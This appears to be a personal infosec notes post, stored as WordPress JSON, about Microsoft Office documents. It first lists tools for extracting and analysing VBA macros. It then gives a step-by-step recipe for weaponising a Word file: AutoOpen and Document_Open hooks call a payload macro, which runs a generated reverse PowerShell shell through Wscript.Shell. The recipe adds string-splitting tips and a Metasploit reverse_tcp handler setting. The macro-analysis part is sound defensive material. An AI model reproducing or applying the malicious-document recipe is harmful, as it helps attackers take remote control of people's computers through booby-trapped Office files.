{"id":1263,"date":"2020-04-22T20:01:36","date_gmt":"2020-04-22T18:01:36","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1263"},"modified":"2025-03-19T14:03:38","modified_gmt":"2025-03-19T13:03:38","slug":"microsoft-office","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1263","title":{"rendered":"Microsoft Office documents"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Generic analysis tools<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Unzip the file; if it is not a very old office file, the file is a zip&nbsp;file.<\/li>\n\n\n\n<li>exiftools:<br><code>exiftool doc.doc<\/code><\/li>\n\n\n\n<li>Analyse with oleid<br><code>oleid doc.doc<\/code><\/li>\n\n\n\n<li>To see <span class=\"caps\">VBA<\/span> scripts direct\u00adly:<br><code>olevba \/tmp\/a.doc<\/code><\/li>\n\n\n\n<li>Analyse a doc\u00adu\u00adment with <a href=\"https:\/\/github.com\/decalage2\/oletools\">ole\u00adtools<\/a>. See the readme. It has many sub\u00adcom\u00admands to analyse var\u00adi\u00adous things.<\/li>\n\n\n\n<li>With <a href=\"https:\/\/github.com\/decalage2\/ViperMonkey\">Viper\u00adMon\u00adkey<\/a>, macros can be ana\u00adlyzed in a <span class=\"caps\">VBA<\/span> emulator.<\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/tylabs\/quicksand\">Quick\u00adSand <\/a>is also a analy\u00adsis framework<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Extract macros with oledump<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Use <a href=\"https:\/\/github.com\/DidierStevens\/DidierStevensSuite\/blob\/master\/oledump.py\">oledump.py<\/a> to extract macros. List the file contents:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">python oledump.py $file<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Exam\u00adple from an output:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">...\n7: M 16267 'Macros\/VBA\/NewMacros'\n8: m 932 'Macros\/VBA\/ThisDocument'\n...<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">To show details from a doc\u00adu\u00adment part use the first num\u00adber and execute<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">python oledump.py -s $no $file<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">But to extract Macros, \u2011v has to been used, because Macros are addi\u00adtion\u00adal\u00adly compressed.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">python oledump.py -s $no -v $file<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Create macros<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Cre\u00adate a new Word document<\/li>\n\n\n\n<li>Open the macro dia\u00adlog (View -&gt; Macros)<\/li>\n\n\n\n<li>Cre\u00adate a new macro there. You are now in the <span class=\"caps\">VB<\/span>&nbsp;view.&nbsp;<ul class=\"wp-block-list\">\n<li>Make sure to set the drop\u00addown which defined where the macro is stored. Per default, it is stored in a local data\u00adbase and not in the doc\u00adu\u00adment itself.&nbsp;<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>When cre\u00adat\u00ading the macro, put it (or a func\u00adtion\u2019s call) into the <em>AutoOpen()<\/em> and <em>Document_Open()<\/em> func\u00adtions.<br><code>Sub AutoOpen()<\/code><br>  <code>PayloadMacro<\/code><br><code>End<\/code><br><br><code>Sub<\/code> <code>Document_Open()<\/code><br>  <code>PayloadMacro<\/code><br><code>End Sub<\/code><br><br><em>(\u2026 see&nbsp;5.)<\/em><\/li>\n\n\n\n<li>Add the pay\u00adload, e.g. a reverse shell.&nbsp;<ol class=\"wp-block-list\">\n<li>Use <a href=\"https:\/\/gist.github.com\/tothi\/ab288fb523a4b32b51a53e542d40fe58\">make_reverse_powershell.py<\/a> to cre\u00adate the payload.<\/li>\n\n\n\n<li>Use split_reverse_powershell.py to split the large com\u00admand line to con\u00adform to the <span class=\"caps\">VC<\/span> string lim\u00adit. <strong>(!) Note that a line may not have more than 50 characters!<\/strong><\/li>\n\n\n\n<li>Add it to the macro func\u00adtion:<code><br>Sub PayloadMacro()<\/code><br>  <code>Dim Str As String<\/code><br>  <code>Str = \u2026<\/code><br>  <code>Str = Str + \u2026<\/code><br>  <code>Str = Str + \u2026<\/code><br>  <code>CreateObject(\"Wscript.Shell\").Run Str<\/code><br><code>End Sub<\/code><div class=\"page\" title=\"Page 432\"><\/div><\/li>\n\n\n\n<li>Alter\u00adna\u00adtive: <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=2288\" data-type=\"post\" data-id=\"2288\">See Pow\u00ader\u00adcat sec\u00adtion on the Reverse Shell&nbsp;post.<\/a><\/li>\n<\/ol>\n<\/li>\n\n\n\n<li>Save the&nbsp;file.<\/li>\n\n\n\n<li>Open meter\u00adpreter reverse shell with <pre>set PAYLOAD windows\/x64\/shell\/reverse_tcp<\/pre><\/li>\n\n\n\n<li>&nbsp;Wait and \u20acprof\u00adit.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Anoth\u00ader way: See windows\/fileformat\/word_mshtml_rce<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gener\u00adic analy\u00adsis tools Extract macros with ole\u00addump Use oledump.py to extract macros. List the file con\u00adtents: python oledump.py $file Exam\u00adple from an out\u00adput: \u2026 7: M 16267 \u2018Macros\/<span class=\"caps\">VBA<\/span>\/NewMacros\u2019 8: m 932 \u2018Macros\/<span class=\"caps\">VBA<\/span>\/ThisDocument\u2019 \u2026 To show details from a doc\u00adu\u00adment part use the first num\u00adber and exe\u00adcute python oledump.py \u2011s $no $file But to extract Macros,&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[477],"tags":[255,242,241,254,256,56,240],"class_list":["post-1263","post","type-post","status-publish","format-standard","hentry","category-software","tag-macro","tag-microsoft-office","tag-microsoft-word","tag-office","tag-payload","tag-reverse-shell","tag-word"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1263","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1263"}],"version-history":[{"count":16,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1263\/revisions"}],"predecessor-version":[{"id":4699,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1263\/revisions\/4699"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1263"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1263"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1263"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}